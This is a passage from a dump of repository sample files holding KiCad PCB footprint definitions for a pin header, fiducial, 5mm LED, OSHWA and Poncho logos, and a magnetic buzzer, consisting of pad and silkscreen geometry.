1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 42 thru_hole oval (at -68.58 0 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 43 thru_hole oval (at -71.12 2.54 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 44 thru_hole oval (at -68.58 2.54 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 45 thru_hole oval (at -71.12 5.08 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 46 thru_hole oval (at -68.58 5.08 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 47 thru_hole oval (at -71.12 7.62 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 48 thru_hole oval (at -68.58 7.62 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 49 thru_hole oval (at -71.12 10.16 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 50 thru_hole oval (at -68.58 10.16 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 51 thru_hole oval (at -71.12 12.7 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 52 thru_hole oval (at -68.58 12.7 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 53 thru_hole oval (at -71.12 15.24 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 54 thru_hole oval (at -68.58 15.24 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 55 thru_hole oval (at -71.12 17.78 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 56 thru_hole oval (at -68.58 17.78 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 57 thru_hole oval (at -71.12 20.32 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 58 thru_hole oval (at -68.58 20.32 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 59 thru_hole oval (at -71.12 22.86 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 60 thru_hole oval (at -68.58 22.86 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 61 thru_hole oval (at -71.12 25.4 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 62 thru_hole oval (at -68.58 25.4 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 63 thru_hole oval (at -71.12 27.94 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 64 thru_hole oval (at -68.58 27.94 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 65 thru_hole oval (at -71.12 30.48 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 66 thru_hole oval (at -68.58 30.48 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 67 thru_hole oval (at -71.12 33.02 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 68 thru_hole oval (at -68.58 33.02 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 69 thru_hole oval (at -71.12 35.56 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 70 thru_hole oval (at -68.58 35.56 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 71 thru_hole oval (at -71.12 38.1 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 72 thru_hole oval (at -68.58 38.1 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 73 thru_hole oval (at -71.12 40.64 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 74 thru_hole oval (at -68.58 40.64 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 75 thru_hole oval (at -71.12 43.18 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 76 thru_hole oval (at -68.58 43.18 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 77 thru_hole oval (at -71.12 45.72 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 78 thru_hole oval (at -68.58 45.72 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 79 thru_hole oval (at -71.12 48.26 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 80 thru_hole oval (at -68.58 48.26 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n)\n"
  },
  {
    "path": "samples/KiCad Layout/Fiducial_1mm.kicad_mod",
    "content": "(module footprints:Fiducial_1mm (layer F.Cu) (tedit 573E1507)\n  (clearance 1.524)\n  (fp_text reference F3 (at 0.02 -0.9) (layer F.SilkS) hide\n    (effects (font (size 0.7112 0.4572) (thickness 0.1143)))\n  )\n  (fp_text value FIDUCIAL (at 0 0.99) (layer F.SilkS) hide\n    (effects (font (size 0.254 0.254) (thickness 0.00254)))\n  )\n  (pad 1 smd circle (at 0 0) (size 1 1) (layers F.Cu F.Mask)\n    (solder_mask_margin 1.5))\n)\n"
  },
  {
    "path": "samples/KiCad Layout/LED-5MM.kicad_mod",
    "content": "(module footprints:LED-5MM (layer F.Cu) (tedit 5570F7EA)\n  (descr \"LED 5mm round vertical\")\n  (tags \"LED 5mm round vertical\")\n  (fp_text reference D4 (at 1.524 4.064) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.15)))\n  )\n  (fp_text value LED (at 1.524 -3.937) (layer F.Fab)\n    (effects (font (size 1 1) (thickness 0.15)))\n  )\n  (fp_line (start -1.5 -1.55) (end -1.5 1.55) (layer F.CrtYd) (width 0.05))\n  (fp_arc (start 1.3 0) (end -1.5 1.55) (angle -302) (layer F.CrtYd) (width 0.05))\n  (fp_arc (start 1.27 0) (end -1.23 -1.5) (angle 297.5) (layer F.SilkS) (width 0.15))\n  (fp_line (start -1.23 1.5) (end -1.23 -1.5) (layer F.SilkS) (width 0.15))\n  (fp_circle (center 1.27 0) (end 0.97 -2.5) (layer F.SilkS) (width 0.15))\n  (fp_text user K (at -1.905 1.905) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.15)))\n  )\n  (pad 1 thru_hole rect (at 0 0 90) (size 2 1.9) (drill 1.00076) (layers *.Cu *.Mask F.SilkS))\n  (pad 2 thru_hole circle (at 2.54 0) (size 1.9 1.9) (drill 1.00076) (layers *.Cu *.Mask F.SilkS))\n  (model LEDs.3dshapes/LED-5MM.wrl\n    (at (xyz 0.05 0 0))\n    (scale (xyz 1 1 1))\n    (rotate (xyz 0 0 90))\n  )\n)\n"
  },
  {
    "path": "samples/KiCad Layout/Logo_OSHWA.kicad_mod",
    "content": "(module footprints:Logo_OSHWA (layer F.Cu) (tedit 560D8B85)\n  (fp_text reference G101 (at 0 4.2418) (layer F.SilkS) hide\n    (effects (font (size 0.7112 0.4572) (thickness 0.1143)))\n  )\n  (fp_text value Logo_OSHWA (at 0 -4.2418) (layer F.SilkS) hide\n    (effects (font (size 0.36322 0.36322) (thickness 0.07112)))\n  )\n  (fp_poly (pts (xy -2.42316 3.59156) (xy -2.38252 3.57124) (xy -2.28854 3.51282) (xy -2.15392 3.42392)\n    (xy -1.99644 3.31978) (xy -1.83896 3.21056) (xy -1.70942 3.1242) (xy -1.61798 3.06578)\n    (xy -1.57988 3.04546) (xy -1.55956 3.05054) (xy -1.48336 3.08864) (xy -1.37414 3.14452)\n    (xy -1.31064 3.17754) (xy -1.21158 3.22072) (xy -1.16078 3.23088) (xy -1.15316 3.21564)\n    (xy -1.11506 3.13944) (xy -1.05918 3.00736) (xy -0.98298 2.83464) (xy -0.89662 2.63144)\n    (xy -0.80264 2.413) (xy -0.7112 2.18948) (xy -0.6223 1.97612) (xy -0.54356 1.78562)\n    (xy -0.48006 1.63068) (xy -0.43942 1.52146) (xy -0.42418 1.47574) (xy -0.42926 1.46558)\n    (xy -0.48006 1.41732) (xy -0.56642 1.35128) (xy -0.75692 1.19634) (xy -0.94234 0.96266)\n    (xy -1.05664 0.6985) (xy -1.09474 0.40386) (xy -1.06172 0.13208) (xy -0.95504 -0.12954)\n    (xy -0.77216 -0.36576) (xy -0.55118 -0.54102) (xy -0.2921 -0.65278) (xy 0 -0.68834)\n    (xy 0.2794 -0.65786) (xy 0.5461 -0.55118) (xy 0.78232 -0.37084) (xy 0.88138 -0.25654)\n    (xy 1.01854 -0.01778) (xy 1.09728 0.23876) (xy 1.1049 0.30226) (xy 1.09474 0.5842)\n    (xy 1.01092 0.85344) (xy 0.8636 1.09474) (xy 0.65786 1.29032) (xy 0.62992 1.31064)\n    (xy 0.53594 1.38176) (xy 0.47244 1.43002) (xy 0.42164 1.47066) (xy 0.77978 2.33172)\n    (xy 0.83566 2.46888) (xy 0.93472 2.7051) (xy 1.02108 2.9083) (xy 1.08966 3.06832)\n    (xy 1.13792 3.17754) (xy 1.15824 3.22072) (xy 1.16078 3.22326) (xy 1.19126 3.22834)\n    (xy 1.2573 3.20294) (xy 1.37668 3.14452) (xy 1.45796 3.10388) (xy 1.5494 3.0607)\n    (xy 1.59004 3.04546) (xy 1.6256 3.06324) (xy 1.71196 3.12166) (xy 1.8415 3.20548)\n    (xy 1.9939 3.30962) (xy 2.14122 3.41122) (xy 2.27584 3.50012) (xy 2.3749 3.56108)\n    (xy 2.42316 3.58902) (xy 2.43078 3.58902) (xy 2.47142 3.56362) (xy 2.55016 3.50012)\n    (xy 2.667 3.38836) (xy 2.8321 3.2258) (xy 2.8575 3.2004) (xy 2.99466 3.0607)\n    (xy 3.10642 2.94386) (xy 3.18008 2.86258) (xy 3.20548 2.82448) (xy 3.20548 2.82448)\n    (xy 3.18262 2.77622) (xy 3.11912 2.6797) (xy 3.03022 2.54254) (xy 2.921 2.38252)\n    (xy 2.63652 1.9685) (xy 2.794 1.57734) (xy 2.84226 1.45796) (xy 2.90322 1.31318)\n    (xy 2.9464 1.20904) (xy 2.9718 1.16332) (xy 3.01244 1.14808) (xy 3.12166 1.12268)\n    (xy 3.2766 1.08966) (xy 3.45948 1.05664) (xy 3.63728 1.02362) (xy 3.7973 0.99314)\n    (xy 3.9116 0.97028) (xy 3.9624 0.96012) (xy 3.9751 0.9525) (xy 3.98526 0.9271)\n    (xy 3.99288 0.87376) (xy 3.99542 0.77724) (xy 3.99796 0.62484) (xy 3.99796 0.40386)\n    (xy 3.99796 0.381) (xy 3.99542 0.17018) (xy 3.99288 0.00254) (xy 3.9878 -0.10668)\n    (xy 3.98018 -0.14986) (xy 3.98018 -0.14986) (xy 3.92938 -0.16256) (xy 3.81762 -0.18542)\n    (xy 3.6576 -0.21844) (xy 3.4671 -0.254) (xy 3.45694 -0.25654) (xy 3.26644 -0.2921)\n    (xy 3.10896 -0.32512) (xy 2.9972 -0.35052) (xy 2.95148 -0.36576) (xy 2.94132 -0.37846)\n    (xy 2.90322 -0.45212) (xy 2.84734 -0.56896) (xy 2.78638 -0.71374) (xy 2.72288 -0.86106)\n    (xy 2.66954 -0.99568) (xy 2.63398 -1.09474) (xy 2.62382 -1.14046) (xy 2.62382 -1.14046)\n    (xy 2.65176 -1.18618) (xy 2.7178 -1.28524) (xy 2.80924 -1.41986) (xy 2.921 -1.58242)\n    (xy 2.92862 -1.59512) (xy 3.03784 -1.75514) (xy 3.12674 -1.88976) (xy 3.18516 -1.98628)\n    (xy 3.20548 -2.02946) (xy 3.20548 -2.032) (xy 3.16992 -2.08026) (xy 3.08864 -2.16916)\n    (xy 2.9718 -2.29108) (xy 2.8321 -2.43332) (xy 2.78638 -2.4765) (xy 2.63144 -2.6289)\n    (xy 2.52476 -2.72796) (xy 2.45618 -2.7813) (xy 2.42316 -2.794) (xy 2.42316 -2.79146)\n    (xy 2.3749 -2.76352) (xy 2.2733 -2.69748) (xy 2.13614 -2.6035) (xy 1.97358 -2.49428)\n    (xy 1.96342 -2.48666) (xy 1.8034 -2.37744) (xy 1.67132 -2.28854) (xy 1.5748 -2.22504)\n    (xy 1.53416 -2.19964) (xy 1.52654 -2.19964) (xy 1.46304 -2.21996) (xy 1.34874 -2.25806)\n    (xy 1.20904 -2.31394) (xy 1.06172 -2.37236) (xy 0.9271 -2.42824) (xy 0.8255 -2.4765)\n    (xy 0.77724 -2.5019) (xy 0.77724 -2.50444) (xy 0.75946 -2.56286) (xy 0.73152 -2.68224)\n    (xy 0.6985 -2.84734) (xy 0.6604 -3.04292) (xy 0.65532 -3.0734) (xy 0.61976 -3.2639)\n    (xy 0.58928 -3.42138) (xy 0.56642 -3.5306) (xy 0.55372 -3.57632) (xy 0.52832 -3.5814)\n    (xy 0.43434 -3.58902) (xy 0.2921 -3.59156) (xy 0.11938 -3.5941) (xy -0.06096 -3.59156)\n    (xy -0.23622 -3.58902) (xy -0.38862 -3.58394) (xy -0.4953 -3.57632) (xy -0.54102 -3.56616)\n    (xy -0.54356 -3.56362) (xy -0.5588 -3.5052) (xy -0.5842 -3.38582) (xy -0.61976 -3.22072)\n    (xy -0.65786 -3.0226) (xy -0.66294 -2.98958) (xy -0.6985 -2.79908) (xy -0.73152 -2.64414)\n    (xy -0.75438 -2.53492) (xy -0.76708 -2.49428) (xy -0.78232 -2.48412) (xy -0.86106 -2.4511)\n    (xy -0.98806 -2.39776) (xy -1.14808 -2.33426) (xy -1.51384 -2.1844) (xy -1.96088 -2.49428)\n    (xy -2.00406 -2.52222) (xy -2.16408 -2.63144) (xy -2.2987 -2.72034) (xy -2.39014 -2.77876)\n    (xy -2.42824 -2.80162) (xy -2.43078 -2.79908) (xy -2.4765 -2.76098) (xy -2.5654 -2.67716)\n    (xy -2.68732 -2.55778) (xy -2.82702 -2.41808) (xy -2.93116 -2.31394) (xy -3.05562 -2.18694)\n    (xy -3.13436 -2.10312) (xy -3.17754 -2.04724) (xy -3.19278 -2.01422) (xy -3.1877 -1.9939)\n    (xy -3.15976 -1.94818) (xy -3.09372 -1.84912) (xy -3.00228 -1.71196) (xy -2.89306 -1.55448)\n    (xy -2.80162 -1.41986) (xy -2.7051 -1.27) (xy -2.6416 -1.16332) (xy -2.61874 -1.10998)\n    (xy -2.62382 -1.08712) (xy -2.65684 -1.00076) (xy -2.71018 -0.86614) (xy -2.77622 -0.70866)\n    (xy -2.9337 -0.35306) (xy -3.16738 -0.30988) (xy -3.30708 -0.28194) (xy -3.5052 -0.24384)\n    (xy -3.69316 -0.20828) (xy -3.9878 -0.14986) (xy -3.99796 0.93218) (xy -3.95224 0.9525)\n    (xy -3.90906 0.9652) (xy -3.79984 0.98806) (xy -3.6449 1.01854) (xy -3.45948 1.0541)\n    (xy -3.30454 1.08458) (xy -3.14452 1.11252) (xy -3.03276 1.13538) (xy -2.98196 1.14554)\n    (xy -2.96926 1.16332) (xy -2.92862 1.23952) (xy -2.87274 1.36144) (xy -2.81178 1.50876)\n    (xy -2.74828 1.65862) (xy -2.6924 1.79832) (xy -2.65176 1.905) (xy -2.63906 1.96088)\n    (xy -2.65938 2.00406) (xy -2.72034 2.0955) (xy -2.8067 2.22758) (xy -2.91338 2.38506)\n    (xy -3.0226 2.54254) (xy -3.1115 2.67716) (xy -3.175 2.77368) (xy -3.2004 2.81686)\n    (xy -3.1877 2.84734) (xy -3.12674 2.92354) (xy -3.00736 3.04546) (xy -2.8321 3.22072)\n    (xy -2.80162 3.24866) (xy -2.66192 3.38328) (xy -2.54254 3.4925) (xy -2.46126 3.56616)\n    (xy -2.42316 3.59156)) (layer F.SilkS) (width 0.00254))\n)\n"
  },
  {
    "path": "samples/KiCad Layout/Logo_Poncho.kicad_mod",
    "content": "(module footprints:Logo_Poncho (layer F.Cu) (tedit 560DAFF4)\n  (fp_text reference G*** (at 0.127 5.588) (layer F.SilkS) hide\n    (effects (font (thickness 0.3)))\n  )\n  (fp_text value LOGO (at 0.762 7.493) (layer F.SilkS) hide\n    (effects (font (thickness 0.3)))\n  )\n  (fp_poly (pts (xy 4.535714 -0.627021) (xy 4.498746 -0.420109) (xy 4.405012 -0.1352) (xy 4.280272 0.162897)\n    (xy 4.150281 0.409374) (xy 4.123376 0.447413) (xy 4.123376 -0.123701) (xy 4.058326 -0.436938)\n    (xy 3.869112 -0.644378) (xy 3.564639 -0.737671) (xy 3.463636 -0.742208) (xy 3.129516 -0.681223)\n    (xy 2.908248 -0.503835) (xy 2.808734 -0.218392) (xy 2.803896 -0.123701) (xy 2.868946 0.189536)\n    (xy 3.058159 0.396975) (xy 3.362633 0.490269) (xy 3.463636 0.494805) (xy 3.797606 0.436492)\n    (xy 3.958441 0.32987) (xy 4.092315 0.09203) (xy 4.123376 -0.123701) (xy 4.123376 0.447413)\n    (xy 4.089856 0.494805) (xy 4.013749 0.621925) (xy 3.89522 0.861365) (xy 3.753792 1.172585)\n    (xy 3.672876 1.360714) (xy 3.421635 1.929272) (xy 3.149718 2.496808) (xy 2.869494 3.041693)\n    (xy 2.593334 3.542296) (xy 2.556493 3.603955) (xy 2.556493 -0.123701) (xy 2.552598 -0.439936)\n    (xy 2.534834 -0.625484) (xy 2.494089 -0.714524) (xy 2.421247 -0.741238) (xy 2.391558 -0.742208)\n    (xy 2.270831 -0.703329) (xy 2.228325 -0.558669) (xy 2.226623 -0.494805) (xy 2.206189 -0.31957)\n    (xy 2.109798 -0.254982) (xy 1.97922 -0.247402) (xy 1.803985 -0.267837) (xy 1.739397 -0.364227)\n    (xy 1.731818 -0.494805) (xy 1.705898 -0.675896) (xy 1.609459 -0.739655) (xy 1.566883 -0.742208)\n    (xy 1.482553 -0.727599) (xy 1.433074 -0.660988) (xy 1.40933 -0.508193) (xy 1.402206 -0.235036)\n    (xy 1.401948 -0.123701) (xy 1.405843 0.192533) (xy 1.423606 0.378081) (xy 1.464351 0.467122)\n    (xy 1.537193 0.493835) (xy 1.566883 0.494805) (xy 1.680559 0.462518) (xy 1.726426 0.336472)\n    (xy 1.731818 0.206169) (xy 1.745609 0.012245) (xy 1.815564 -0.067294) (xy 1.97922 -0.082467)\n    (xy 2.145441 -0.066377) (xy 2.213617 0.015237) (xy 2.226623 0.206169) (xy 2.245073 0.405103)\n    (xy 2.317099 0.48537) (xy 2.391558 0.494805) (xy 2.475887 0.480197) (xy 2.525367 0.413586)\n    (xy 2.549111 0.260791) (xy 2.556234 -0.012366) (xy 2.556493 -0.123701) (xy 2.556493 3.603955)\n    (xy 2.33361 3.976986) (xy 2.102692 4.324132) (xy 1.912952 4.562103) (xy 1.781691 4.667512)\n    (xy 1.660102 4.654002) (xy 1.438445 4.580892) (xy 1.163465 4.463746) (xy 1.154545 4.459546)\n    (xy 1.154545 0.36149) (xy 1.110706 0.268405) (xy 0.956623 0.266159) (xy 0.938776 0.269422)\n    (xy 0.717011 0.243945) (xy 0.523128 0.11531) (xy 0.417755 -0.07121) (xy 0.412337 -0.123701)\n    (xy 0.484303 -0.318602) (xy 0.658393 -0.472009) (xy 0.871896 -0.536691) (xy 0.949632 -0.528355)\n    (xy 1.105982 -0.515384) (xy 1.154279 -0.597467) (xy 1.154545 -0.609566) (xy 1.114247 -0.69528)\n    (xy 0.970303 -0.735064) (xy 0.783441 -0.742208) (xy 0.429195 -0.687347) (xy 0.198088 -0.523118)\n    (xy 0.090717 -0.250044) (xy 0.082467 -0.123701) (xy 0.144642 0.188869) (xy 0.330769 0.392787)\n    (xy 0.640252 0.487526) (xy 0.783441 0.494805) (xy 1.022962 0.480515) (xy 1.134243 0.429291)\n    (xy 1.154545 0.36149) (xy 1.154545 4.459546) (xy 1.148315 4.456614) (xy 0.592041 4.256938)\n    (xy 0.061238 4.207886) (xy -0.164935 4.249843) (xy -0.164935 -0.123701) (xy -0.168831 -0.439936)\n    (xy -0.186594 -0.625484) (xy -0.227339 -0.714524) (xy -0.300181 -0.741238) (xy -0.329871 -0.742208)\n    (xy -0.435349 -0.716231) (xy -0.483875 -0.609894) (xy -0.495586 -0.391721) (xy -0.496366 -0.041234)\n    (xy -0.706429 -0.391721) (xy -0.874005 -0.625569) (xy -1.029731 -0.729733) (xy -1.117986 -0.742208)\n    (xy -1.220495 -0.733937) (xy -1.280586 -0.685976) (xy -1.309571 -0.563603) (xy -1.318762 -0.332094)\n    (xy -1.319481 -0.123701) (xy -1.315585 0.192533) (xy -1.297822 0.378081) (xy -1.257077 0.467122)\n    (xy -1.184235 0.493835) (xy -1.154546 0.494805) (xy -1.049068 0.468829) (xy -1.000541 0.362492)\n    (xy -0.988831 0.144318) (xy -0.98805 -0.206169) (xy -0.777988 0.144318) (xy -0.610412 0.378167)\n    (xy -0.454685 0.48233) (xy -0.36643 0.494805) (xy -0.263922 0.486535) (xy -0.203831 0.438574)\n    (xy -0.174846 0.3162) (xy -0.165655 0.084692) (xy -0.164935 -0.123701) (xy -0.164935 4.249843)\n    (xy -0.48241 4.308738) (xy -0.783442 4.420415) (xy -1.059466 4.535832) (xy -1.285963 4.626797)\n    (xy -1.401948 4.669513) (xy -1.518876 4.625399) (xy -1.566884 4.584033) (xy -1.566884 -0.123701)\n    (xy -1.631934 -0.436938) (xy -1.821147 -0.644378) (xy -2.12562 -0.737671) (xy -2.226624 -0.742208)\n    (xy -2.560743 -0.681223) (xy -2.782012 -0.503835) (xy -2.881525 -0.218392) (xy -2.886364 -0.123701)\n    (xy -2.821314 0.189536) (xy -2.6321 0.396975) (xy -2.327627 0.490269) (xy -2.226624 0.494805)\n    (xy -1.892653 0.436492) (xy -1.731819 0.32987) (xy -1.597945 0.09203) (xy -1.566884 -0.123701)\n    (xy -1.566884 4.584033) (xy -1.717176 4.454536) (xy -1.98582 4.166799) (xy -2.061689 4.078924)\n    (xy -2.369861 3.70727) (xy -2.632201 3.363429) (xy -2.870341 3.013116) (xy -2.968832 2.849614)\n    (xy -2.968832 -0.32987) (xy -3.007485 -0.54598) (xy -3.140146 -0.67528) (xy -3.391869 -0.734039)\n    (xy -3.603832 -0.742208) (xy -4.04091 -0.742208) (xy -4.04091 -0.123701) (xy -4.037014 0.192533)\n    (xy -4.019251 0.378081) (xy -3.978506 0.467122) (xy -3.905664 0.493835) (xy -3.875974 0.494805)\n    (xy -3.746639 0.446485) (xy -3.711039 0.288637) (xy -3.687673 0.146227) (xy -3.584731 0.090232)\n    (xy -3.438897 0.082468) (xy -3.16065 0.034793) (xy -3.008068 -0.114765) (xy -2.968832 -0.32987)\n    (xy -2.968832 2.849614) (xy -3.105916 2.622046) (xy -3.360558 2.155935) (xy -3.6559 1.580499)\n    (xy -3.724805 1.443182) (xy -3.927446 1.040996) (xy -4.107468 0.68891) (xy -4.250627 0.414385)\n    (xy -4.342678 0.24488) (xy -4.366512 0.206169) (xy -4.479713 -0.061738) (xy -4.470402 -0.368299)\n    (xy -4.39208 -0.562072) (xy -4.211754 -0.794239) (xy -3.970771 -1.027175) (xy -3.729883 -1.205582)\n    (xy -3.628572 -1.257014) (xy -3.515586 -1.328258) (xy -3.31072 -1.481511) (xy -3.047204 -1.691308)\n    (xy -2.861153 -1.845142) (xy -2.478394 -2.151727) (xy -2.09396 -2.434151) (xy -1.735885 -2.674156)\n    (xy -1.432202 -2.853482) (xy -1.210945 -2.953871) (xy -1.135923 -2.968831) (xy -0.992755 -2.911987)\n    (xy -0.868796 -2.807085) (xy -0.798823 -2.718089) (xy -0.768465 -2.621372) (xy -0.779148 -2.476306)\n    (xy -0.832302 -2.242261) (xy -0.897248 -1.997411) (xy -1.002077 -1.614541) (xy -1.0637 -1.342913)\n    (xy -1.062894 -1.163551) (xy -0.980436 -1.05748) (xy -0.797105 -1.005726) (xy -0.493678 -0.989314)\n    (xy -0.050932 -0.989267) (xy 0.123701 -0.98961) (xy 0.616616 -0.993152) (xy 0.963601 -1.004879)\n    (xy 1.183529 -1.026446) (xy 1.295275 -1.059505) (xy 1.31948 -1.094352) (xy 1.298521 -1.22034)\n    (xy 1.243133 -1.457326) (xy 1.164548 -1.757819) (xy 1.150407 -1.809213) (xy 1.043088 -2.255847)\n    (xy 1.008894 -2.569631) (xy 1.048676 -2.765972) (xy 1.163285 -2.860279) (xy 1.208992 -2.870512)\n    (xy 1.420553 -2.83991) (xy 1.739874 -2.711189) (xy 2.149801 -2.493929) (xy 2.633175 -2.197713)\n    (xy 3.172841 -1.832122) (xy 3.525487 -1.576813) (xy 3.929546 -1.272303) (xy 4.214754 -1.04349)\n    (xy 4.398878 -0.873667) (xy 4.499689 -0.746128) (xy 4.534955 -0.644167) (xy 4.535714 -0.627021)\n    (xy 4.535714 -0.627021)) (layer F.SilkS) (width 0.1))\n  (fp_poly (pts (xy 1.023542 -3.736319) (xy 0.895402 -3.389445) (xy 0.679417 -3.11223) (xy 0.563302 -2.982356)\n    (xy 0.508034 -2.869698) (xy 0.506066 -2.720981) (xy 0.549854 -2.48293) (xy 0.574294 -2.370022)\n    (xy 0.658312 -1.973188) (xy 0.69611 -1.709422) (xy 0.675383 -1.550382) (xy 0.583822 -1.467723)\n    (xy 0.409122 -1.433104) (xy 0.16144 -1.419187) (xy -0.12355 -1.415195) (xy -0.339882 -1.428263)\n    (xy -0.43645 -1.453549) (xy -0.490308 -1.618268) (xy -0.466441 -1.923684) (xy -0.365224 -2.365222)\n    (xy -0.360015 -2.384058) (xy -0.225225 -2.868872) (xy -0.488808 -3.104404) (xy -0.714353 -3.402585)\n    (xy -0.808424 -3.746824) (xy -0.77552 -4.096523) (xy -0.620138 -4.411085) (xy -0.346777 -4.649915)\n    (xy -0.31571 -4.666738) (xy 0.033719 -4.763905) (xy 0.380075 -4.71573) (xy 0.68714 -4.538441)\n    (xy 0.918691 -4.248265) (xy 0.989692 -4.081895) (xy 1.023542 -3.736319) (xy 1.023542 -3.736319)) (layer F.SilkS) (width 0.1))\n  (fp_poly (pts (xy -3.320079 -0.321578) (xy -3.381169 -0.206169) (xy -3.537606 -0.087441) (xy -3.656944 -0.12265)\n    (xy -3.710414 -0.301007) (xy -3.711039 -0.32987) (xy -3.666881 -0.523821) (xy -3.553583 -0.57585)\n    (xy -3.399915 -0.47517) (xy -3.381169 -0.453571) (xy -3.320079 -0.321578) (xy -3.320079 -0.321578)) (layer F.SilkS) (width 0.1))\n  (fp_poly (pts (xy -1.911824 -0.1467) (xy -1.935194 -0.006732) (xy -2.006645 0.114199) (xy -2.128505 0.265484)\n    (xy -2.225472 0.329848) (xy -2.226624 0.32987) (xy -2.322643 0.267542) (xy -2.444552 0.117317)\n    (xy -2.446603 0.114199) (xy -2.537406 -0.05684) (xy -2.52656 -0.197017) (xy -2.465958 -0.318756)\n    (xy -2.343482 -0.473895) (xy -2.226624 -0.536039) (xy -2.106037 -0.47051) (xy -1.987289 -0.318756)\n    (xy -1.911824 -0.1467) (xy -1.911824 -0.1467)) (layer F.SilkS) (width 0.1))\n  (fp_poly (pts (xy 3.778435 -0.1467) (xy 3.755065 -0.006732) (xy 3.683615 0.114199) (xy 3.561755 0.265484)\n    (xy 3.464788 0.329848) (xy 3.463636 0.32987) (xy 3.367616 0.267542) (xy 3.245708 0.117317)\n    (xy 3.243657 0.114199) (xy 3.152854 -0.05684) (xy 3.163699 -0.197017) (xy 3.224301 -0.318756)\n    (xy 3.346778 -0.473895) (xy 3.463636 -0.536039) (xy 3.584223 -0.47051) (xy 3.702971 -0.318756)\n    (xy 3.778435 -0.1467) (xy 3.778435 -0.1467)) (layer F.SilkS) (width 0.1))\n)\n"
  },
  {
    "path": "samples/KiCad Layout/MagneticBuzzer_ProSignal_ABT-410-RC.kicad_mod",
    "content": "(module footprints:MagneticBuzzer_ProSignal_ABT-410-RC (layer F.Cu) (tedit 544E5504)\n  (descr \"Buzzer, Elektromagnetic Beeper, Summer, 1,5V-DC,\")\n  (tags \"Pro Signal, ABT-410-RC,\")\n  (fp_text reference U1 (at 3.175 -8.001) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.15)))\n  )\n  (fp_text value BUZZER (at 2.17424 8.001) (layer F.Fab)\n    (effects (font (size 1 1) (thickness 0.15)))\n  )\n  (fp_line (start 8.17626 -0.50038) (end 8.17626 0.50038) (layer F.SilkS) (width 0.15))\n  (fp_line (start 7.67588 0) (end 8.6741 0) (layer F.SilkS) (width 0.15))\n  (fp_circle (center 3.175 0) (end 4.17576 0) (layer F.SilkS) (width 0.15))\n  (fp_text user + (at 10.67562 0) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.15)))\n  )\n  (fp_circle (center 3.175 0) (end 9.37514 0) (layer F.SilkS) (width 0.15))\n  (pad 1 thru_hole circle (at 0 0) (size 1.6002 1.6002) (drill 1.00076) (layers *.Cu *.Mask F.SilkS))\n  (pad 2 thru_hole circle (at 6.35 0) (size 1.6002 1.6002) (drill 1.00076) (layers *.Cu *.Mask F.SilkS))\n  (model Buzzers_Beepers.3dshapes/MagneticBuzzer_ProSignal_ABT-410-RC.wrl\n    (at (xyz 0 0 0))\n    (scale (xyz 1 1 1))\n    (rotate (xyz 0 0 0))\n  )\n)\n"
  },
  {
    "path": "samples/KiCad Layout/Pin_Header_Straight_2x02.kicad_mod",
